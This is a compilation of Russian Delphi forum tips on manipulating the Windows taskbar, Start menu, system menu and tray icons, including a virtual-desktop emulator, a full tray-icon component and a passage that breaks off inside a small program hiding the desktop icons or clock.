Взято из http://forum.sources.ru


Работа с System Menu

Добавить новый пункт меню в системное меню диалога:

AppendMenu(GetSystemMenu(Self.Handle,FALSE),MF_ENABLED,1001,'&Help');

Автор ответа: Sheff
Взято с Vingrad.ru http://forum.vingrad.ru

Отловить клик по меню можно следующим образом:

private

procedure WhetherUserPressesHelp(var Msg: TMessage); message WM_SYSCOMMAND;

....

  procedure TForm1.WhetherUserPressesHelp(var Msg: TMessage);
  begin
    if Msg.WParam = 1001 then
      HelpForm.ShowModal
    else
      inherited; // к примеру вызываем форму на которой будет помощь
  end;

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru


Как очистить пункт меню Документы кнопки Пуск?

Вызовите Windows API функцию SHAddToRecentDocs() передав nil вместо имени файла в качестве параметра.

uses ShlOBJ;

procedure TForm1.Button1Click(Sender: TObject);
begin
      SHAddToRecentDocs(SHARD_PATH, nil);
end;

Взято из http://forum.sources.ru


Определение координат расположения TaskBar

uses.., ShellApi;

var
  AppBarData: TAppBarData;
  bAlwaysOnTop: Boolean; {Поверх окон}
  bAutoHide: boolean; {Авт. убирать с экрана}
  ClRect: TRect; {Клиентские области}
  Rect: TRect;
  Edge: UInt; {Местоположение TaskBar}

procedure DetectTaskBar;
begin
  AppBarData.hWnd := FindWindow('Shell_TrayWnd', nil);
  AppBarData.cbSize := sizeof(AppBarData);
  bAlwaysOnTop := (SHAppBarMessage(ABM_GETSTATE, AppBardata) and ABS_ALWAYSONTOP) < > 0;
  bAutoHide := (SHAppBarMessage(ABM_GETSTATE, AppBardata) and ABS_AUTOHIDE) < > 0;
  GetClientRect(AppBarData.hWnd, ClRect.rc);
  GetWindowRect(AppBarData.hwnd, rect);
  if (Rect.top > 0) then
    Edge := ABE_BOTTOM
  else if (Rect.Bottom < Screen.Height) then
    Edge := ABE_TOP
  else if Rect.Right < Screen.Width then
    Edge := ABE_LEFT
  else
    Edge := ABE_RIGHT;
end;

Взято с http://delphiworld.narod.ru


Работа с TaskBar

unit TaskBar;

interface

uses Windows, ShellAPI;

const
  // Дублируем описания из ShellAPI, чтобы не писать его в Uses
  // везде, где мы используем этот модуль
  NIF_TIP = ShellAPI.NIF_TIP;
  NIF_ICON = ShellAPI.NIF_ICON;

function TaskBarAddIcon(
  hWindow: THandle; // окно, создавшее значок
  ID: Cardinal; // идентификатор значка
  ICON: hIcon; // иконка
  CallbackMessage: Cardinal; // сообщение, которое будет посылаться окну
  Tip: PChar // ToolTip
  ): Boolean;

function TaskBarModifyIcon(
  hWindow: THandle;
  ID: Cardinal;
  Flags: Cardinal;
  ICON: hIcon;
  Tip: PChar): Boolean;

function TaskBarDeleteIcon(
  hWindow: THandle;
  ID: Integer): Boolean;

implementation

function TaskBarAddIcon(
  hWindow: THandle;
  ID: Cardinal;
  ICON: hIcon;
  CallbackMessage: Cardinal;
  Tip: PChar): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
    uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
    uCallbackMessage := CallbackMessage;
    hIcon := Icon;
    lstrcpyn(szTip, Tip, SizeOf(szTip));
  end;
  Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;

function TaskBarModifyIcon(
  hWindow: THandle;
  ID: Cardinal;
  Flags: Cardinal;
  ICON: hIcon;
  Tip: PChar): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
    uFlags := Flags;
    hIcon := Icon;
    lstrcpyn(szTip, Tip, SizeOf(szTip));
  end;
  Result := Shell_NotifyIcon(NIM_MODIFY, @NID);
end;

function TaskBarDeleteIcon(
  hWindow: THandle;
  ID: Integer): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
  end;
  Result := Shell_NotifyIcon(NIM_DELETE, @NID);
end;

end.

Взято с http://delphiworld.narod.ru


Как добавить файл в меню Пуск/Документы

Эта программа добавляет файл "File.txt" в "Пуск/Документы".

uses ShlOBJ;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SHAddToRecentDocs(SHARD_PATH, PChar('File.txt'));
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Кто владелец taskbar buttons (NT)?

{
  In this article, I wish to describe the useful undocumented function
  GetTaskmanWindow. The GetTaskmanWindow function returns a handle to
  the window that ownes the taskbar buttons.
  Here is the quoting about taskbar from Microsoft MSDN:
  "The Microsoft® Windows® interface includes a special application desktop
  toolbar called the taskbar.
  The taskbar can be used for such tasks as switching between open
  windows and starting new applications..."
  and "The taskbar includes the Start menu, taskbar buttons,
  a shortcut menu, and a status area...".
  Unfortunately, Win32 API doesn't contain documented
  function that can be used for accessing to the
  taskbar so we should again use an undocumented way.

  Here is the prototype for GetTaskmanWindow:

   function GetTaskmanWindow (): HWND;

  As always, Microsoft doesn't provide us with the exports symbols
  in the User32.lib for this function, so we should load them dynamically using the
  GetProcAddress and GetModuleHandle functions:
}

// getaskmanwnd.cpp (Windows NT/2000)
//
// This example will show you how you can obtain a handle to the
// Windows Taskbar window.
// Translated from C to Delphi by Thomas Stutz
// Original Code:
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

function TaskmanWindow: HWND;
type
  TGetTaskmanWindow = function(): HWND; stdcall;
var
  hUser32: THandle;
  GetTaskmanWindow: TGetTaskmanWindow;
begin
  Result := 0;
  hUser32 := GetModuleHandle('user32.dll');
  if (hUser32 > 0) then
  begin
    @GetTaskmanWindow := GetProcAddress(hUser32, 'GetTaskmanWindow');
    if Assigned(GetTaskmanWindow) then
    begin
      Result := GetTaskmanWindow;
    end;
  end;
end;

procedure ShowTaskmanWindow(bValue: Boolean);
var
  hTaskmanWindow: Hwnd;
begin
  hTaskmanWindow := TaskmanWindow;
  if hTaskmanWindow <> 0 then
  begin
    ShowWindow(GetParent(hTaskmanWindow), Ord(bValue));
  end;
end;

// Example to Hide the Taskman Window
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowTaskmanWindow(False);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сделать Multi Screen Emulator?

{** Building a multi screen emulator ***

  I want to present a simple multi-screen emulator written in Delphi.
  It consists in a little Form placing in the bottom-right corner of the screen,
  right above the traybar, which consists of 5 buttons.
  At the beginning the first button is down; then, when I press another button,
  a new fresh desktop is opened. In this new desktop I can open other programs
  and so on with the other buttons. When I go back to one of the buttons,
  I will see only the applications opened in that contest without the others.
  The trick is to make the following steps just before pressing another button:

  1)Get the handles of all the visible windows (except for Desktop,
  Taskbar and the application itself)
  2)Hiding all the windows detecting at step 1).

  After pressing the button we must:

  1)Show all the windows whose handles we got when we left
    the button itself by pressing another.
    Of course if a button is pressed for the first time we have no
    handles so we will have a new fresh desktop.

  I want to retrieve the handles of all the visible windows:
  the key is a call to the "EnumWindows" procedure
  passing as a parameter a callback function called for example "EnumWindowsProc".
  This callback function must be of the following type:
}

function EnumWindowsProc(hWnd: HWND; lParam: LPARAM): Bool;

// The EnumWindows function is of type:

 BOOL EnumWindows(
WNDENUMPROC lpEnumFunc, // pointer to callback function
     LPARAM lParam  // application-defined value
    );

{
  I will call EnumWindows(@EnumWindowsProc, 0);

  The "EnumWindows" function loop over all windows (visible or invisible):
  for each window there is a call to the callback function
  "EnumWindowsProc" wich must be implemented.
  The first param "hWnd" is the handle of the current window.
  A possible implementation of the "EnumWindowsProc" function may be the inserting
  of every handle in a list.
  According to our target we must insert in a list the handle of
  the following windows:

  1)Visible windows //(IsWindowVisible(hwnd) = True)
  2)Not my application window
  //var processed: DWORD;
  //GetWindowThreadProcessID( hwnd, @processID );
  //processID <> GetCurrentProcessID
  3)Not the taskbar window //hWnd <> FindWindow('Shell_TrayWnd', Nil)
  4)Not the desktop window //hWnd <> FindWindow('Progman', Nil)
}

// This is the code:

unit ProcessView;

interface

uses
  Windows, Dialogs, SysUtils, Classes, ShellAPI, TLHelp32, Forms;

var
  HandleList: TStringList;

function EnumWindowsProc(hWnd: HWND; lParam: lParam): Bool; stdcall;
procedure GetProcessList;

implementation

procedure GetProcessList;
var
  i: integer;
begin
  HandleList.Clear;
  EnumWindows(@EnumWindowsProc, 0);
end;

function EnumWindowsProc(hWnd: HWND; lParam: lParam): Bool;
var
  processID: DWORD;
begin
  GetWindowThreadProcessID(hwnd, @processID);
  if processID <> GetCurrentProcessID then
    if (hWnd <> FindWindow('Shell_TrayWnd', nil)) and
      (hWnd <> FindWindow('Progman', nil)) then
      if IsWindowVisible(hwnd) then
      begin
        HandleList.Add(IntToStr(HWnd));
        Result := True;
      end;
end;

initialization
  HandleList := TStringList.Create;

finalization
  HandleList.Free;
end.

{
  In the main program I used a variable named Monitors of type
  "array of TstringList" whose dimension is given by the number of buttons
  (different monitors available) to keep in memory all the hanldes
  associated with every button. Another variable named CurrentMonitor
  keeps in memory the index of the actual monitor (the caption of the button).
  This is the code:
}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ProcessView,
  StdCtrls, Buttons, abfComponents, Menus, ImgList, AppEvnts, TrayIcon;

type
  TForm1 = class(TForm)
    //these are the buttons (1..5) to switch from a monitor to another ///
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton5: TSpeedButton;
    ///////////////////////////////////////////////////////////////////////

    ImageList1: TImageList; //ImageList connected to the Popup menu
    PopupMenu1: TPopupMenu; //popup menu displayed by the trayicon

    //PopupMenu Items///////
    ShowApplication: TMenuItem; //Show the form
    HideApplication: TMenuItem; //Hide the form
    N1: TMenuItem; // -
    CloseApplication: TMenuItem; //Close the application
    ////////////////////////////////

    TrayIcon1: TTrayIcon; //my TrayIcon component; you can use yours
    procedure SpeedButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormShow(Sender: TObject);
    procedure ShowApplicationClick(Sender: TObject);
    //click on ShowApplication (TMenuItem)
    procedure HideApplicationClick(Sender: TObject);
    //click on HideApplication (TMenuItem)
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure CloseApplicationClick(Sender: TObject);
    //click on CloseApplication (TMenuItem)
  private
    { Private declarations }
    Monitors: array[1..5] of TStringList;
    CurrentMonitor: Integer;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.SpeedButton1Click(Sender: TObject);
var
  i: integer;
  Rect: TRect;
begin
  //
  GetProcessList;

  Monitors[CurrentMonitor].Assign(HandleList);

  for i := 0 to HandleList.Count - 1 do
  begin
    ShowWindow(StrToInt(HandleList.Strings[i]), SW_HIDE);
  end;

  CurrentMonitor := StrToInt((Sender as TSpeedButton).Caption);
  for i := 0 to Monitors[CurrentMonitor].Count - 1 do
  begin
    ShowWindow(StrToInt(Monitors[CurrentMonitor].Strings[i]), SW_SHOW);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  i: integer;
begin
  //
  ShowWindow(Application.Handle, SW_HIDE);
  SetWindowLong(Application.Handle,
    GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) and
    not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW);
  ShowWindow(Application.Handle, SW_SHOW);

  CurrentMonitor := 1;
  for i := Low(Monitors) to High(Monitors) do
    Monitors[i] := TStringList.Create;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var
  i: integer;
begin
  //
  for i := Low(Monitors) to High(Monitors) do
    Monitors[i].Free;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
  i, j: integer;
begin
  for i := Low(Monitors) to High(Monitors) do
  begin
    for j := 0 to Monitors[i].Count - 1 do
    begin
      ShowWindow(StrToInt(Monitors[i].Strings[j]), SW_SHOW);
    end;
  end;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  //
  Height := 61;
  Width  := 173;
  Top := Screen.Height - Height - 30;
  Left := Screen.Width - Width;
end;

procedure TForm1.ShowApplicationClick(Sender: TObject);
begin
  //
  Application.MainForm.Show;
end;

procedure TForm1.HideApplicationClick(Sender: TObject);
begin
  //
  Application.MainForm.Hide;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
  //
  if MessageDlg('Do you want to close Monitors?', mtConfirmation,
    [mbOK, mbCancel], 0) = mrCancel then
    CanClose := False;
end;

procedure TForm1.CloseApplicationClick(Sender: TObject);
begin
  Close;
end;

end.

{
  In order to prevent multiple instances of the application I inserted
  some lines of code inside the project source;
  this is the modified source:
}
program Project1;

uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
  atom: integer;
begin
  if GlobalFindAtom('Monitors_Procedure_Atom') = 0 then
    atom := GlobalAddAtom('Monitors_Procedure_Atom')
  else
    Exit;

  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;

  GlobalDeleteAtom(atom);
end.

{
  The GlobalAddAtom function adds a character string to the global atom table
  and returns a unique value (an atom) identifying the string.

  The GlobalFindAtom function searches the global atom table for the
  specified character string and retrieves the global atom associated with that string.

  If I have already run the programm then the GlobalFindAtom function returns a value
  <> 0 because the atom is already present: in this case I abort the execution of the program.
  Instead, if the GlobalFindAtom function returns 0 then this is the first time I run the
  program, so I create the atom. At the end I delete the atom.

  In order to remove the button on the taskbar I inserted the following code
  inside the OnCreate event of the form:
}

{...}
ShowWindow( Application.handle, SW_HIDE );
SetWindowLong( Application.handle,
               GWL_EXSTYLE,
               GetWindowLong( application.handle, GWL_EXSTYLE ) and
               not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW);
ShowWindow( Application.handle, SW_SHOW );
{...}

{
  In order to have a tray icon in the traybar (wich display a menu containing showing,
  hiding and closing of the form), I used a component (TTrayIcon),
  I built a year ago; this is the source:
}

unit TrayIcon;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ShellAPI, extctrls, Menus;

const
     WM_SYSTEM_TRAY_NOTIFY = WM_USER + 1;

type TTrayIconMessage =(imClick, imDoubleClick, imMouseDown,
                        imMouseUp, imLeftClickUp, imLeftDoubleClick,
                        imRightClickUp, imRightDoubleClick, imNone);

type
  TTrayIcon = class(TComponent)
  private
    { Private declarations }
   FData: TNotifyIconData;
   FIsClicked: Boolean;
   FIcon: TIcon;
   FIconList: TImageList;
   FPopupMenu: TPopupMenu;
   FTimer: TTimer;
   FHint: string;
   FIconIndex: integer;
   FVisible: Boolean;
   FHide: Boolean;
   FAnimate: Boolean;
   FAppRestore: TTrayIconMessage;
   FPopupMenuShow: TTrayIconMessage;
   FApplicationHook: TWindowHook;

   FOnMinimize: TNotifyEvent;
   FOnRestore: TNotifyEvent;
   FOnMouseMove: TMouseMoveEvent;
   FOnMouseExit: TMouseMoveEvent;
   FOnMouseEnter: TMouseMoveEvent;
   FOnClick: TNotifyEvent;
   FOnDblClick: TNotifyEvent;
   FOnMouseDown: TMouseEvent;
   FOnMouseUp: TMouseEvent;
   FOnAnimate: TNotifyEvent;
   FOnCreate: TNotifyEvent;
   FOnDestroy: TNotifyEvent;
   FOnActivate: TNotifyEvent;
   FOnDeactivate: TNotifyEvent;

   procedure SetHint(Hint: string);
   procedure SetHide(Value: Boolean);
   function GetAnimateInterval: integer;
   procedure SetAnimateInterval(Value: integer);
   function GetAnimate: Boolean;
   procedure SetAnimate(Value: Boolean);
   procedure EndSession;

   function ShiftState: TShiftState;

  protected
    { Protected declarations }
   procedure SetVisible(Value: Boolean); virtual;

   procedure DoMessage(var Message: TMessage);virtual;
   procedure DoClick; virtual;
   procedure DoDblClick; virtual;
   procedure DoMouseMove(Shift: TShiftState; X: integer; Y: integer); virtual;
   procedure DoMouseDown(Button: TMouseButton; Shift: TShiftState; X: integer; Y: integer); virtual;
   procedure DoMouseUp(Button: TMouseButton; Shift: TShiftState; X: integer; Y: integer); virtual;
   procedure DoOnAnimate(Sender: TObject); virtual;
   procedure Notification(AComponent: TComponent; Operation: TOperation); override;

   function ApplicationHookProc(var Message: TMessage): Boolean;

   procedure Loaded(); override;

   property Data: TNotifyIconData read FData;

  public
    { Public declarations }
   constructor Create(Owner: TComponent); override;
   destructor Destroy; override;

   procedure Minimize(); virtual;
   procedure Restore(); virtual;
   procedure Update(); virtual;
   procedure ShowMenu(); virtual;
   procedure SetIconIndex(Value: integer); virtual;
   procedure SetDefaultIcon(); virtual;
   function GetHandle():HWND;

  published
    { Published declarations }
   property Visible: Boolean  read FVisible write SetVisible default false;
   property Hint: string  read FHint write SetHint;
   property PopupMenu: TPopupMenu read FPopupMenu write FPopupMenu;
   property Hide: Boolean read  FHide write SetHide;
   property RestoreOn: TTrayIconMessage read FAppRestore write FAppRestore;
   property PopupMenuOn: TTrayIconMessage read FPopupMenuShow write FPopupMenuShow;
   property Icons: TImageList read FIconList write FIconList;
   property IconIndex: integer read FIconIndex write SetIconIndex default 0;
   property AnimateInterval: integer read GetAnimateInterval write SetAnimateInterval default 1000;
   property Animate: Boolean read GetAnimate write SetAnimate default false;
   property Handle: HWND read GetHandle;

   // Events
   property OnMinimize: TNotifyEvent read FOnMinimize write FOnMinimize;
   property OnRestore: TNotifyEvent read FOnRestore write FOnRestore;
   property OnClick: TNotifyEvent read FOnClick write FOnClick;
   property OnMouseEnter: TMouseMoveEvent read FOnMouseEnter write FOnMouseEnter;
   property OnMouseExit: TMouseMoveEvent read FOnMouseExit write FOnMouseExit;
   property OnMouseMove: TMouseMoveEvent read FOnMouseMove write FOnMouseMove;
   property OnMouseUp:TMouseEvent read FOnMouseUp write FOnMouseUp;
   property OnMouseDown: TMouseEvent read FOnMouseDown write FOnMouseDown;
   property OnAnimate: TNotifyEvent read FOnAnimate write FOnAnimate;
   property OnCreate: TNotifyEvent read FOnCreate write FOnCreate;
   property OnDestroy: TNotifyEvent read FOnDestroy write FOnDestroy;
   property OnActivate: TNotifyEvent read FOnActivate write FOnActivate;
   property OnDeactivate: TNotifyEvent read FOnDeactivate write FOnDeactivate;

  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Carlo Pasolini', [TTrayIcon]);
end;

constructor TTrayIcon.Create(Owner: TComponent);
begin
   inherited;

   FIcon := TIcon.Create();
   FTimer := TTimer.Create(nil);

   FIconIndex := 0;
   FIcon.Assign(Application.Icon);
   FAppRestore := imDoubleClick;
   FOnAnimate := DoOnAnimate;
   FPopupMenuShow := imNone;
   FVisible := false;
   FHide := true;
   FTimer.Enabled := false;
   FTimer.OnTimer := OnAnimate;
   FTimer.Interval := 1000;

   if not (csDesigning in ComponentState) then
      begin
           FillChar(FData, sizeof(TNotifyIconData), #0);
//           memset(&FData, 0, sizeof(TNotifyIconData));
           FData.cbSize := sizeof(TNotifyIconData);
           FData.Wnd := AllocateHWnd(DoMessage);
           FData.uID := UINT(Self);
           FData.hIcon := FIcon.Handle;
           FData.uFlags := NIF_ICON or NIF_MESSAGE;
           FData.uCallbackMessage := WM_SYSTEM_TRAY_NOTIFY;

           FApplicationHook := ApplicationHookProc;
           Update;
      end;

end;

//---------------------------------------------------------------------------
destructor TTrayIcon.Destroy();
begin
   if not (csDesigning in ComponentState) then
      begin
           Shell_NotifyIcon(NIM_DELETE, @FData);  //booh forse @FData
           DeallocateHWnd(FData.Wnd);
      end;

   if (Assigned(FIcon)) then
      FIcon.Free;

   if (Assigned(FTimer)) then
      FTimer.Free;

   inherited;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.Notification(AComponent: TComponent; Operation: TOperation);
begin
  inherited Notification(AComponent, Operation);

  if Operation = opRemove then
     begin
          if (AComponent = FIconList) then
             FIconList := nil
          else
             if (AComponent = FPopupMenu) then
                FPopupMenu := nil;
     end;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.Loaded();
begin
   inherited Loaded();

   if (not Assigned(FIconList)) then
      begin
           FAnimate := false;
           FIcon.Assign(Application.Icon);
      end
   else
      begin
           FTimer.Enabled := FAnimate;
           FIconList.GetIcon(FIconIndex, FIcon);
      end;

   Update();
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetVisible(Value: Boolean);
begin
   FVisible := Value;

   if not (csDesigning in ComponentState) then
    begin
      if FVisible then
       begin
         if (not Shell_NotifyIcon(NIM_ADD, @FData)) then
            raise EOutOfResources.Create('Cannot Create System Shell Notification Icon');

         Hide := true;
         Application.HookMainWindow(FApplicationHook);
       end

      else
       begin
         if (not Shell_NotifyIcon(NIM_DELETE, @FData)) then
            raise EOutOfResources.Create('Cannot Remove System Shell Notification Icon');

         Hide := false;
         Application.UnhookMainWindow(FApplicationHook);
       end;
    end;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetHint(Hint: string);
begin
   // The new hint must be different than the previous hint and less than
   // 64 characters to be modified. 64 is an operating system limit.
   if ((FHint <> Hint) and (Length(Hint) < 64)) then
    begin
      FHint := Hint;
      StrPLCopy(FData.szTip, Hint, sizeof(FData.szTip) - 1);

      // If there is no hint then there is no tool tip.
      if (Length(Hint) <> 0) then
         FData.uFlags := FData.uFlags or NIF_TIP
      else
         FData.uFlags := FData.uFlags and (not NIF_TIP);

      Update();
    end;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetHide(Value: Boolean);
begin
   FHide := Value;
end;

//---------------------------------------------------------------------------
function TTrayIcon.GetAnimateInterval(): integer;
begin
   Result := FTimer.Interval;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetAnimateInterval(Value: integer);
begin
   FTimer.Interval := Value;
end;

//---------------------------------------------------------------------------
function TTrayIcon.GetAnimate(): Boolean;
begin
   Result := FAnimate;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetAnimate(Value: Boolean);
begin
   if (Assigned(FIconList) or (csLoading in ComponentState)) then
      FAnimate := Value;

   if (Assigned(FIconList) and (not (csDesigning in ComponentState))) then
      FTimer.Enabled := Value;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.EndSession();
begin
   Shell_NotifyIcon(NIM_DELETE, @FData);
end;

//---------------------------------------------------------------------------
function TTrayIcon.ShiftState(): TShiftState;
var
   Res: TShiftState;
begin

   Res := [];

   if (GetKeyState(VK_SHIFT) < 0) then
      Res := Res + [ssShift];
   if (GetKeyState(VK_CONTROL) < 0) then
      Res := Res + [ssCtrl];
   if (GetKeyState(VK_MENU) < 0) then
      Res := Res + [ssAlt];

   Result := Res;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoMessage(var Message: TMessage);
var
   point: TPoint;
   shift: TShiftState;
begin

   case (Message.Msg) of
    //begin
      WM_QUERYENDSESSION:
         Message.Result := 1;
         //break;

      WM_ENDSESSION:
         EndSession();
         //break;

      WM_SYSTEM_TRAY_NOTIFY:
         case (Message.LParam) of
          //begin
            WM_MOUSEMOVE:
               if (Assigned(FOnClick)) then
                begin
                  shift := ShiftState();
                  GetCursorPos(point);
                  DoMouseMove(shift, point.x, point.y);
                end;
               //break;

            WM_LBUTTONDOWN:
             begin
               shift := ShiftState();
               shift := shift + [ssLeft];
               GetCursorPos(point);
               DoMouseDown(mbLeft, shift, point.x, point.y);
               FIsClicked := true;
               //break;
             end;

            WM_LBUTTONUP:
              begin
               shift := ShiftState();
               shift := shift + [ssLeft];
               GetCursorPos(point);
               if (Assigned(FOnClick)) then
                  DoClick();

               DoMouseUp(mbLeft, shift, point.x, point.y);

               if (FAppRestore = imLeftClickUp) then
                  Restore();
               if (FPopupMenuShow = imLeftClickUp) then
                  ShowMenu();
               //break;
              end;

            WM_LBUTTONDBLCLK:
              begin
               DoDblClick();

               if (FAppRestore = imLeftDoubleClick) then
                  Restore();
               if (FPopupMenuShow = imLeftDoubleClick) then
                  ShowMenu();
               //break;
              end;

            WM_RBUTTONDOWN:
              begin
               shift := ShiftState();
               shift := shift + [ssRight];
               GetCursorPos(point);
               DoMouseDown(mbRight, shift, point.x, point.y);
               //break;
              end;

            WM_RBUTTONUP:
              begin
               shift := ShiftState();
               shift := shift + [ssRight];
               GetCursorPos(point);

               DoMouseUp(mbRight, shift, point.x, point.y);

               if (FAppRestore = imRightClickUp) then
                  Restore();
               if (FPopupMenuShow = imRightClickUp) then
                  ShowMenu();
               //break;
              end;

            WM_RBUTTONDBLCLK:
              begin
               DoDblClick();

               if (FAppRestore = imRightDoubleClick) then
                  Restore();
               if (FPopupMenuShow = imRightDoubleClick) then
                  ShowMenu();
               //break;
              end;

            WM_MBUTTONDOWN:
              begin
               shift := ShiftState();
               shift := shift + [ssMiddle];
               GetCursorPos(point);

               DoMouseDown(mbMiddle, shift, point.x, point.y);
               //break;
              end;

            WM_MBUTTONUP:
              begin
               shift := ShiftState();
               shift := shift + [ssMiddle];
               GetCursorPos(point);
               DoMouseUp(mbMiddle, shift, point.x, point.y);
               //break;
              end;

            WM_MBUTTONDBLCLK:
               DoDblClick();
               //break;
         end;
   end;

   inherited Dispatch(Message);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.ShowMenu();
var
   point: TPoint;
begin
   GetCursorPos(point);

   if (Screen.ActiveForm.Handle <> 0) then
      SetForegroundWindow(Screen.ActiveForm.Handle);
   FPopupMenu.Popup(point.x, point.y);

end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoClick();
begin
   if (FAppRestore = imClick) then
      Restore();
   if (FPopupMenuShow = imClick) then
      ShowMenu();

   if (Assigned(FOnClick)) then
      FOnClick(Self);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoDblClick();
begin
   if (FAppRestore = imDoubleClick) then
      Restore();
   if (FPopupMenuShow = imDoubleClick) then
      ShowMenu();

   if (Assigned(FOnDblClick)) then
      FOnDblClick(Self);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoMouseMove(Shift: TShiftState; X:integer; Y: integer);
begin
   if (Assigned(FOnMouseMove)) then
      FOnMouseMove(Self, Shift, X, Y);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoMouseDown(Button: TMouseButton; Shift: TShiftState;
                                       X: integer; Y: integer);
begin
   if (FAppRestore = imMouseDown) then
      Restore();
   if (FPopupMenuShow = imMouseDown) then
      ShowMenu();

   if (Assigned(FOnMouseDown)) then
      FOnMouseDown(Self, Button, Shift, X, Y);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoMouseUp(Button: TMouseButton; Shift: TShiftState;
                                     X: integer; Y:integer);
begin
   if (FAppRestore = imMouseDown) then
      Restore();
   if (FPopupMenuShow = imMouseDown) then
      ShowMenu();

   if (Assigned(FOnMouseUp)) then
      FOnMouseUp(Self, Button, Shift, X, Y);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.DoOnAnimate(Sender: TObject);
begin
   if (IconIndex < FIconList.Count) then
      Inc(FIconIndex)
   else
      FIconIndex := 0;

   SetIconIndex(FIconIndex);
   Update();
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.Minimize();
begin
   Application.Minimize();
   ShowWindow(Application.Handle, SW_HIDE);

   if (Assigned(FOnMinimize)) then
      FOnMinimize(Self);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.Restore();
begin
   Application.Restore();
   ShowWindow(Application.Handle, SW_RESTORE);
   SetForegroundWindow(Application.Handle);

   if (Assigned(FOnRestore)) then
      FOnRestore(Self);
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.Update();
begin
   if not (csDesigning in ComponentState) then
    begin
      FData.hIcon := FIcon.Handle;

      if (Visible = true) then
         Shell_NotifyIcon(NIM_MODIFY, @FData);
    end;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetIconIndex(Value: integer);
begin
   FIconIndex := Value;

   if (Assigned(FIconList)) then
      FIconList.GetIcon(FIconIndex, FIcon);

   Update();
end;

//---------------------------------------------------------------------------
function TTrayIcon.ApplicationHookProc(var Message: TMessage): Boolean;
begin
   if (Message.Msg = WM_SYSCOMMAND) then
    begin
      if (Message.WParam = SC_MINIMIZE) then
         Minimize();
      if (Message.WParam = SC_RESTORE) then
         Restore();
    end;

   Result:= false;
end;

//---------------------------------------------------------------------------
procedure TTrayIcon.SetDefaultIcon();
begin
  FIcon.Assign(Application.Icon);
  Update();
end;

//---------------------------------------------------------------------------
function TTrayIcon.GetHandle(): HWND;
begin
   Result := FData.Wnd;
end;

//---------------------------------------------------------------------------
end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Скрыть Tray, часы, кнопку ПУСК, панель задач

program proga2;

uses
  Windows;

var
  Wnd: THandle; { объявляем переменные }
  int: integer;

begin
  Randomize; { холостой прогон генератора случайных чисел }
  int := Random(3); { выбор одного варианта из четырёх }
  case int of
    0: { если первый вариант то }
    begin
      Wnd := FindWindow('Progman', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'ShellDll_DefView', nil);
      { прячем трей }
      ShowWindow(Wnd, sw_hide);
    end;
    1: { если второй вариант то }
    begin
      Wnd := FindWindow('Shell_TrayWnd', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'TrayNotifyWnd', nil);
      Wnd := FindWindowEx(Wnd, HWND(0), 'TrayClockWClass', nil);
      { прячем часы }
      ShowWindow(Wnd, sw_hide);
    end;
    2:
    begin
